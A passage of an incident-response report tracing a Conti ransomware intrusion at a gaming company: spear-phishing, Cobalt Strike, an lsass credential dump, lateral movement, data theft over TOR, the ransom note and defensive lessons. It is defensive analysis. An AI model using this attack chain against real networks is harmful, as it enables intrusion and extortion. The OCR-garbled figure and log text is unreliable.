An enabler of compromise is an exploitable condition that could lead to a faster or wider
expansion of the radius and the magnitude of the attack.

Typical enablers of compromise are legacy protocols, such as SMBv1, Telnet, and TFTP.
These protocols, if exploited, could grant significant advantages to the attacker.

In this case, leveraging weak content inspection regarding the email system, we saw that
the attacker targeted the staff with domain spoofing and spear phishing.

> Registet:"aammy_us‘”to
| spoof “‘company.com

Upload payload sharing it Online File-sharing

transfernow

Send a sounding email
discussing business and
meetings

Send a file sharing
notification

FIGURE 53: OVERALL STRATEGY FOR A CREDIBLE SPEAR-PHISH ATTACK
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The attacker sent an email mimicking a contractor and asking for feedback on a service
architecture.

The email asked to set a time for a call the following week about the content of the email.

44.227.65.24%

FIGURE 54: SPEAR-PHISHING ATTACK
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Two of the targets agreed to follow the instructions contained in the email and
downloaded the malicious file from the “TransferNow” folder executing it.

The outcome was the immediate compromise of two internal laptops through
the initial BazarLoader executable, which downloaded and executed a Cobalt
Strike custom agent.

Unfortunately, the accountslinked withthisinitial infection were domainaccounts with authorized
remote access to the corporate network, which was an essential key for the second part of the
attack. In addition, the local administrator password was shared between systems, which turned
out to be another key point for the attacker to immediately extend the radius of his attack.

Thefollowing figure summarizes the outcome of the whole attack. It took 12 days to be completed
fromtheinitial compromise of the laptops.

Cobalt Strike
TOMOAD IEEEANM s

Sinlen WP and Sdmin Cregeniinls ’
3 =
ﬁ Powershell —— PO SIS

_ - RDP: Splashtop, Anydesk

FIGURE 55: ATTACK STRATEGY
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CASE

Basically, the attacker used a recognizable strategy. They infiltrated the corporate network
leveraging corporate credentials they retrieved from the laptops, verified the victim systems,
and once his Cobalt Strike implants were fully functional, they passed the access to Conti. This
accessed the environment, installed AnyDesk and Splashtop upon some systems, and from
there, the attacker progressed to the final stages of the attack, exfiltrating data to a MEGA
folder and detonating the ransomware.

From the investigative perspective, we were activated after the ransomware was detonated, similar to
what we saw in the first case. To rebuild the entire attack flow, we started from the Conti banner taken
from an abused system:

7 stadeet it - Mctepad - o x
Fle (o Foomat Vew Help

All of your files are currently encrypted by CONTI strain.

As you know (if you don't - just "google it"), all of the data that has been encrypted by our software cannot be recovered
by any means without contacting our team directly.

If you try to use any additional recovery software - the files might be damaged, so if you are willing to try - try it on
the data of the lowest value.

To make sure that we REALLY CAN get your data back - we offer you to decrypt 2 random files completely free of charge.

You can contact our team directly for further instructions through our website :

TOR VERSION :
(you should download and install TOR browser first https://torproject.org)

heep: //cont | <"/

HTTPS VERSION :

https://cont I

YOU SHOULD BE AWARE |
Just in case, if you try to ignore us. We've downloaded a pack of your internal data and are ready to publish it on out
news website if you do not respond. So it will be better for both sides if you contact us as soon as possible.

===BEGIN 1D---

-==END ID--- !

FIGURE 56: REDACTED BANNER OF THE RANSOM REQUEST

About 1,200 desktops and 1,531 servers were completely infected by the Conti ransomware.

Avery small fragment of servers was spared from the ransomware but not enough to restore the services in
a timely fashion.

Our first priority was to ensure the recovery of the Company online gaming systems without risking the loss
of the narrative of the attack and the main evidence of the initial compromise.

The ransomware execution was immediately linked with logs related to PsExec, the mechanism used to
distribute it. The actor leveraged two systems to disseminate and detonate the malware:

1. Afileserver, whichturned to be the key system in the attack

2. Asoftware distribution server

To successfully lock out critical systems in the network that maximized the damage, the attacker executed a
number of network scans and lateral movements. We started from there.

We found records of a massive scan activity between a file server and several other network segments that
occurred between December 11 and 13.
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Stage 1

At the time of the analysis, only one laptop was still presenting signs of the Cobalt Strike
agent used by the attacker, but additional traces of its presence were found in the MFT.

Thanks to these findings, we were able to identify the public IP hosting the C2, as illustrated
in the following figure:

CIDIT-ITCO1

Downloaded | Agentlog  ScanData | Moreinfo
Process Module P Domain Protocol Listen

dns.exe dns.exe 172.74.200109 53 uoP

svchost.exe svchost.exe 172.67.161.154 443 TCP

svehost.exe swchost.exe 172.67.161.220 43 TP

| explorer.exe explorer.exe 192.124.249.24 80 TCP

FIGURE 57: BAZAAR LOADER PROCESS ATTEMPTING TO DOWNLOAD COBALT STRIKE AGENT

With Cobalt Strike agent implanted on the laptops, the attacker was able to steal local cached
credentials through ProcDump (the file was called “procd.exe”) against the Isass.exe process,
storing the dumped credentials in the folder:

\Windows\Temp\Isass.dmp

As illustrated by the MFT record:

Name Type Size Creation Time (SFN) w» Full Path

eardil. mui File 256.1 kB /972021 5:45:43.656 AM CA\Windows\System32\eaidll. mui
eaidil File 99.0kB 1/9/2021 5:45:43.469 AM CA\Windows\System32\eai.dll
StoreSvadil.mui File 255.6 kB 1/9/2021 1:07:49.297 PM C:\Windows\System32\StoreSve.dil.m
StoreSvc.dil File 99.0kB 1/9/2021 1:07:49.297 PM C\Windows\System32\StoreSva.dll
Isass.dmp File 79749.0 k8 1/9/2021 3:49:41.292 AM AWindows\Temp\lsass.dmp
procd.exe File 532.5kB 1/8/2021 3:29:33.619 AM AWindows\Temp\procd.exe

proxy.dll File 255.6 kB 1V/8/2021 3:19:09.289 AM \Windows\Temp\proxy.dil

FIGURE 58: MFT RECORDS OF THE MALICIOUS TOOLS USED ON THE LAPTOP CIDT-ICTO1
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CASE

Stage 1 (Continued)

When the Cobalt Strike agent was executed, it injected itself into various other processes
on the host (explorer.exe, rundll32.exe) and resulted in the svchost process being used to
form the connection toward the C2.

ProcDump was no longer available in the system, but traces of its presence were unearthed
fromthe MFT. The resulting timeline is close to the initial deployment of Cobalt Strike and
confirms the activity had been carried out in a single step once the initial payload was executed
by the victim.

Intime, after the initial setup of the malware, the threat actors began reconnaissance using
Windows utilities like ping and tasklist. In addition, the actor started Active Directory (AD)
discovery using AdFind as recovered from the laptop:

The following figure summarizes the attacker activities in the first stage:

-k

Cabalt Stke

17267181220 7 ; e
‘ " eiir-meon
Ex ' i

Citrix WPH

_-1 Reconnaissance [*.

"

FIGURE 59: FIRST STAGE OF ATTACK

During this phase, the attacker enumerated several servers in the Sydney data center, in particular,
afile server FSSIT-DEVO1 that will become a focal point for the next stages of the attack.
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Stage 2

With valid credentials and confirmed VPN access to the network, the attacker handed
over the access to the Conti gang.

The latter immediately focused on staging his persistence implanting tools (AnyDesk and Atera
software) to some servers, in particular the FSSIT-DEVO1 file server and ICTW7-ITCO1, an
internal web server integrating AD single sign-on, which allowed the attacker to query and
access adomain controller.

FSSIT-DEVO1 was used both as a bridge between the remote developers and the internal
production systems, where software and code were passed to production, as well as a hosted
Secure FTP port open to maintenance contractors. As such, it was allowed to communicate
remotely on port SSH and internally with SSH and SMB.

In fact, the attacker implanted PuTTY and pivoted access to other segments of the network
from it. To confirm this action, we found traces of SSH keys under the PuTTY folder:

[ File Edit Report View Window Help

=

G B S| e e S| O ?
4] Policies MName Type Data
-~ R'““";“:‘“PP""""“‘ ) ecdss-sha2-nistp256@22:10.2454227  REG_SZ nistp256,xbi0cfbecf67808
= _S'J"‘:“T;; i aB) ecdsa-sha2-nistp256@22:10.2454223  REG_SZ nistp256,0xal 1979268036572,
u
a8 ecdsa-shal-nistp256@22:10.2454228  REG_SZ nistp256,0xd8<9bSbbb.
= | SshiHostK: =
- })_]e(du-sha}-nu!p}ﬁﬂ!l:mll A2 REG_SZ nistpd 56,0l 5bcbbE0BT 965,
aB) ecdsa-sha2-nistp256@22:10.214222  REG_SZ nistp256,0x712ceba2f94falc
9_]:-..2@12:10.245.254.103 REG_SZ O 0001, 0xdl ¢l ebl 863527 ab
8] 1522©22:10.245.254.104 REG_SZ 0x10001,0xb716310e67bbeb

9_]ecdu-sha2-malp256©22:10.2154“5-l.193 REG_SZ nistp256,0nc546b561 c4808¢
Last Wrtten Tme

4 ] Symantec
1) Wowb432Node
4 1) System

4 m
‘ [CDC‘ 6E 00 69 00 73 00 74 00-70 00 32 00 35 00 36 00O |n-L-3-t-p-2-5-6
NTUSER.DAT\SOFTWARE\SimonTatham\PuTTY\SshHostKeys Offset: 0

FIGURE 60: PUTTY SSH KEYS STORED IN JUMP SERVER
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Stage 2 (Continued)

The victim’s IT staff clarified that PuTTY was not installed by them, nor were they using
the server as a jump point to other network segments.

SYDNEY
DATA CENTER

FIGURE 61: SECOND STAGE OF ATTACK

The access to ICTW7-ITCO1 was allowed by the account stolen from the second laptop,
which was linked with an internal project manager allowed to post news on the system.
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Stage 3

The final stage of the attack took place once the actor was able to deploy a logon script
via Group Policy Object (GPO), which ran the code every time the computer started up
and connected to the domain.

However, prior to deploying the ransomware and detonating it, the attacker accessed
transaction logs stored on Hong Kong servers, collecting sensitive data belonging to the online
casino games.

They were able to do that once they found an inventory script running on the backend systems
with the list of the critical database systems, including their credentials.

SR

TP pecens WHESE MANUTACTURER C-

FIGURE 62: CRON SCRIPT /ROOT/INVENTORY_QUERIES.SH

With this lucky shot, they were able to query the databases directly and harvest about 7.6 Gb of
transactions.

Drive Letter [Partition to which the MFT file belongs) C - Maching: | SOLPLDEAST-02

Full Path MFT Type Size Creation Time (§FM] - | Creation Time [$51) Madification Time ($FH)
CAWiIndowi\Temphesec-142.0q| Filg B.OMB  11716/2021 13:S2:32.71... 11/16/2027 10:52:32.719 ... 111672021 1:5232.71..,
Cwindows\Temphssec-141, g Filg 1.99MB  11116/2027 10:52:18.15.., 11/16/2027 10:52:18.132 ... 11/16/2021 1052:18.18...

CAWindows\Temphssec-140.19] File d4MB  11716/2021 10:571:56.40... 11/16/2027 10:51:56.404 ... 11/16/2021 10:51:56.40..,

FIGURE 63: EVIDENCE OF DATABASE DUMPS IN HONG KONG TRANSACTION SERVERS
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Stage 3 (Continued)

The exfiltration of the database dumps was executed by moving them to a folder mapped
to a published website from a Hong Kong database and accessing the folder viaa TOR
network.

HOME KONG
DATA CENTER

FIGURE 64: EXFILTRATION STRATEGY

During the investigation, the evidence of the TOR sessions was extracted from the web server logs.

176 9.1.211 - fanyglo [17/Nov/2021:14:25:32 -0000] “GET /sse
/ PR com/f e wk st reaming//events/ssec- “Moz [ V .1;rv:60.0)
20100101 Firefo 0"
5.9 1.211 fanvc\o[ 00] “ /sse p HTTP/1.1” 200 74131104 “http://
i A ing/ 7 Mozilla/5.0 (Windows NT 6.1; rv:60.0)

20087174400 “http:/
,"'5 O (Windows NT 6.1; rv:60.0)

In the final stage of the exfiltration, the attacker cleared its traces from the Hong Kong systems
and started the final stage of the activity: the dissemination and detonation of the ransomware.
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Conclusion

Ransomware hurts any industry, but the gaming environment has proven to be one of the most vulnerable.
Asthis paperhasillustrated, evidence of adearth of visibility has become acommon trait of these companies
regarding both network and endpoints. While these gaming companies are focused on application security,
they are not seeing the way the attackers can breach. Which means they’re not always seeing the bigger
cyber-risk picture.

Our past experiences lead us to continue to suggest that, to overcome ransomware threats, it is important
toestablish and maintain constant monitoring of network and endpoints to promptly detect any suspicious
activity or anomalies.

In addition, having a robust backup and recovery plan is critical to mitigating the impact of a ransomware
attack. In fact, in both these cases, the availability of clean backup was lacking, forcing extreme measures
torecover aclean environment. This lesson told us that it is paramount to regularly back up the company’s
data, move it to a secure location that is not directly connected to your network, and test your ability to
recover data from these backups.

Last, the company’s culture should reflect the change in direction that these threats impose onus. It is
important to educate the employees on how to identify and report suspicious activity, such as phishing
emails or unauthorized access attempts. Regular training can help to build a sound security culture and
reduce the risk of a successful ransomware attack.
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